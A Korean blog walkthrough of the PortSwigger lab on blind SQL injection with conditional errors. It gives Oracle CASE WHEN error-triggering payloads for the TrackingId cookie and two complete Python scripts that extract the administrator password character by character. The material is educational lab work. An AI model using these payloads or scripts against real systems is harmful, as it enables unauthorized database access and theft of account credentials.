반응형
문제 링크
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
목표 & 도구
목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.
사용도구: Burp Suite
문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
- 문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

- LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

- 문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId 쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.

- 주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.

- sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.

- sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.

- 참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.
[페이로드(입력 값)]
| - case when 구문 조건 참일 때 페이로드:TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=1) then to_number(1/0) else 1 end)--; - case when 구문 조건 거짓일 때 페이로드: TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=2) then to_number(1/0) else 1 end)-- ; [설명] 해당 LAB 문제에서 sql query 문을 구성할 때 에러를 유발하도록 하면 응답을 받았을 때 에러 메시지가 반환되는 것을 알 수 있습니다. 따라서 case when 구문의 조건을 이용한 참, 거짓에 따른 응답 결과를 통해 data 추출을 할 수 있게 됩니다. * 페이로드 분석 to_number() 함수는 Oracle DB에서 문자열을 숫자로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_number(1/0)으로 작성하면 에러가 발생하게 됩니다. 1 = case when (조건) then to_number(1/0) else 1 end에서 조건이 참이면 to_number(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 1을 반환합니다. 1을 반환하면 1 = 1-- 이 되기 때문에 에러가 발생하지 않아 정상적인 웹 페이지를 반환하게 됩니다. 정리해 보면 case when 구문 조건이 참일 때(1=1) 응답 결과를 보면 에러 메시지를 반환하고 거짓일 때(1=2) 응답 결과를 보면 정상적인 웹 페이지를 반환하고 있는 것을 알 수 있었습니다. 조건이 참, 거짓이느냐에 따라 에러 발생 유무가 정해지며 그에 따른 결과가 다르기 때문에 다름을 이용하여 Blind SQL Injection처럼 data를 추출할 수 있게 됩니다. |
[case when 구문 조건 참일 때]

[case when 구문 조건 거짓일 때]

- 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. (직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)
[administrator passowrd 추출 - python script]
# 주석 사용 버전
import string
import requests
url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"
# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"
# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.
# administrator password 길이 찾는 함수
def find_admin_pw_len():
# 이진 탐색법 적용
low = 1
high = 256
while low < high:
mid = (low + high) // 2
query = (
f"(select length(password) from users where username='administrator') > {mid} "
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
return (low)
# administrator password 추출
def find_admin_pw():
admin_pw = ''
# administrator password 길이를 저장
admin_pw_len = find_admin_pw_len()
# administrator password 길이만큼 반복하면서
# data추출
for i in range(1, admin_pw_len+1):
# 이진 탐색법 적용
low = 32
high = 127
while low < high:
mid = (low + high) // 2
query = (
f"(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}) then to_number(1/0) else 1 end)--"
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
admin_pw += chr(low)
return admin_pw
print(f"administrator의 password: {find_admin_pw()}")
- 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

- 웹 페이지로 돌아가서 My account를 클릭합니다.

- 알아낸 administrator의 ID, Password를 입력합니다.

- administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.
- 주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.
[페이로드(입력 값)]
| - case when 구문 조건 참일 때 페이로드:TrackingId=uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' ; - case when 구문 조건 거짓일 때 페이로드: TrackingId=uUveEoJDaHYuGguk'|| (select case when (1=2) then to_char(1/0) else '' end from dual) ||'; [설명] 주석을 사용한 페이로드와 동일하게 case when 구문의 조건을 이용한 참, 거짓에 따른 data 추출을 할 수 있게 됩니다. * 페이로드 분석 to_char() 함수는 Oracle DB에서 숫자나, 날짜 등을 문자열로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_char(1/0)으로 작성하면 에러가 발생하게 됩니다. 주의할 점은 해당 페이로드를 이용할 때는 to_number() 함수가 아닌 to_char() 함수를 사용해야 합니다. || 연산자는 Oracle에서 문자열을 합쳐주는 연산자입니다. uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' 에서 조건이 참이면 to_char(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 '' (빈 문자열)을 반환합니다. 빈 문자열을 반환하면 uUveEoJDaHYuGguk '|| '' ||' 이기 때문에 원래 정상적인 쿠키 값이었던 uUveEoJDaHYuGguk만 남게 되어 정상적인 sql query 문이 됩니다. 따라서 에러 유무에 따라 응답 결과가 다르기 때문에 data를 추출할 수 있습니다. |
[case when 구문 조건 참일 때 - 주석 X]

[case when 구문 조건 거짓일 때 - 주석 X]

- 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다.
[administrator passowrd 추출 - python script]
# 주석 사용하지 않은 코드
import string
import requests
url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"
# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"
# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.
# administrator password 길이 찾는 함수
def find_admin_pw_len():
# 이진 탐색법 적용
low = 1
high = 256
while low < high:
mid = (low + high) // 2
query = (
f"(select length(password) from users where username ='administrator') > {mid}"
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
return (low)
# administrator password 추출 함수
def find_admin_pw():
admin_pw = ''
# administrator password 길이를 저장
admin_pw_len = find_admin_pw_len()
# administrator password 길이만큼 반복하면서
# data추출
for i in range(1, admin_pw_len+1):
# 이진 탐색법 적용
low = 32
high = 127
while low < high:
mid = (low + high) // 2
query = (
f"ascii(substr((select password from users where username ='administrator'), {i}, 1)) > {mid}"
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
admin_pw += chr(low)
return admin_pw
print(f"administrator의 password: {find_admin_pw()}")
- 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

- 웹 페이지로 돌아가서 My account를 클릭합니다.

- 알아낸 administrator의 ID, Password를 입력합니다.

- administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

반응형
'[WEB] CTF & Wargame > PortSwigger Web Security Academy' 카테고리의 다른 글
| Lab: SSRF with blacklist-based input filter (0) | 2026.06.23 |
|---|---|
| Lab: SSRF with filter bypass via open redirection vulnerability (0) | 2026.06.21 |
| Lab: SQL injection UNION attack, retrieving multiple values in a single column (0) | 2026.06.18 |
| Lab: Web cache poisoning with an unkeyed header (0) | 2026.05.02 |
| Lab: Blind SQL injection with time delays and information retrieval (1) | 2026.04.25 |
| Lab: Blind SQL injection with time delays (0) | 2026.03.24 |